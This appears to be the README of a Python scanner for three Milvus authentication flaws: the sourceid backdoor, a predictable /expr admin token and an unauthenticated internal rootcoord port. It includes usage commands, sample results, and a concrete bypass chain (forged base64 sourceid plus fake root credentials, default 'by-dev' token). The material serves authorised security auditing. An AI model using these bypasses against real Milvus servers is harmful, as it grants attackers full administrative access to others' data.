
نص برمجي للكشف عن أمان المصادقة في Milvus: CVE-2025-64513 (باب خلفي في sourceid) / CVE-2026-26190 (token ضعيف في /expr) / المنفذ الداخلي 53100
سكربت فحص أمان المصادقة في Milvus. يكتشف ثلاثة عيوب في المصادقة:
| العيب | CVE | الإصدارات المتأثرة | طريقة الكشف |
|---|---|---|---|
| تجاوز المصادقة عبر الباب الخلفي sourceid | CVE-2025-64513 | < 2.4.24 / < 2.5.21 / < 2.6.5 | gRPC ListDatabases + حقن sourceid |
| رمز token ضعيف لنقطة /expr على منفذ الإدارة | CVE-2026-26190 | < 2.5.27 / < 2.6.10 | HTTP /expr?code=1%2B1&auth=by-dev (يتطلب ترميز معامل code بترميز URL) |
| المنفذ الداخلي rootcoord 53100 بدون مصادقة | — | < 2.6.10 (لم يعد يُستمع عليه منذ 2.6.10) | اتصال gRPC مباشر بـ RootCoordService |
# proxy 层检测(sourceid 后门 + /expr 弱 token)
python3 milvus-auth-audit.py --host 127.0.0.1 --port 19530 --mgmt-port 9091
# 完整检测(含内部端口,需容器网络内可达)
python3 milvus-auth-audit.py --host <容器IP> --port 19530 --mgmt-port 9091 --internal-port 53100
المعلمات:
--host: عنوان proxy الخاص بـ Milvus--port: منفذ gRPC الخاص بـ proxy (الافتراضي 19530)--mgmt-port: منفذ الإدارة (الافتراضي 9091، يقع /expr هنا)--internal-port: المنفذ الداخلي (الافتراضي 53100 لـ rootcoord، مرر 0 للتخطي)--cve-check: إخراج وصف الإصدارات المتأثرة بالـ CVEpip install grpcio protobuf
تتطلب استدعاءات gRPC كود Python مولّدًا من تعريفات proto (milvus_pb2_grpc.py وroot_coord_pb2_grpc.py وغيرها)، ويوضع في مجلد فرعي proto/ في نفس دليل السكربت. طريقة التوليد:
# 1. 拉 milvus-proto 仓库
git clone https://github.com/milvus-io/milvus-proto.git
# 2. 拉 milvus 源码(内部 proto:root_coord.proto / internal.proto / proxy.proto 等)
git clone https://github.com/milvus-io/milvus.git
# 3. 生成(milvus 内部 proto 在 milvus/pkg/proto/ 下)
pip install grpcio-tools
python3 -m grpc_tools.protoc -I milvus-proto/proto -I milvus/pkg/proto \
--python_out=proto --grpc_python_out=proto \
milvus-proto/proto/milvus.proto milvus/pkg/proto/root_coord.proto \
milvus/pkg/proto/internal.proto milvus/pkg/proto/proxy.proto
=== 2.6.4 ===
[*] 目标: 172.22.0.4:19530 管理端口: 9091
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 后门绕过认证, 数据库=['default'] -> HIT
[verify] /expr 任意表达式执行 (auth=by-dev) -> HIT
[exploit] 内部端口未认证, 数据库=['default'] -> HIT
[!] 发现 3 个可利用认证缺陷
=== 2.6.5 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝 -> SAFE
[verify] /expr 任意表达式执行 (auth=by-dev) -> HIT
[exploit] 内部端口未认证, 数据库=['default'] -> HIT
[!] 发现 2 个可利用认证缺陷
=== 2.6.10 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝 -> SAFE
[verify] /expr 已默认禁用 -> SAFE
[exploit] 端口不可达 -> SAFE
[+] 未发现认证缺陷
validSourceID() في internal/proxy/authentication_interceptor.go ترأس sourceId، وعندما تكون القيمة بعد فك ترميز base64 مساوية لـ @@milvus-member@@ يتم تخطي فرع المصادقة بالكامل. هذه آلية ثقة متبادلة بين المكونات الداخلية (PerRPCCredentials في grpcclient/auth.go)، لكنها بلا تحقق من المصدر ويمكن تزويرها من الخارج. سلسلة الاستغلال الكاملة: sourceid + authorization=base64("root:كلمة مرور مزيفة") = full admin (يتجاوز proxy التحقق ويمرر الهوية المزيفة كما هي)./expr على منفذ الإدارة 9091، رمز المصادقة مشتق من etcd.rootPath (الافتراضي by-dev) وهو قابل للتنبؤ تمامًا، ويمكن تنفيذ أي تعبير بلغة expr-lang. منذ الإصدار 2.6.10 يتحكم فيه common.security.exprEnabled وهو معطل افتراضيًا.AuthenticationInterceptor مسجل على proxy فقط (19530)، بينما خادم gRPC الداخلي لـ rootcoord (53100) لا مصادقة عليه. اتصال مباشر غير مصادق داخل شبكة الحاوية يمنح صلاحيات full admin. منذ 2.6.10 لم يعد هذا المنفذ يُستمع عليه.للاستخدام فقط في فحوصات الأمان على البيئات المرخّصة. لا تستخدمه على أنظمة غير مرخّصة.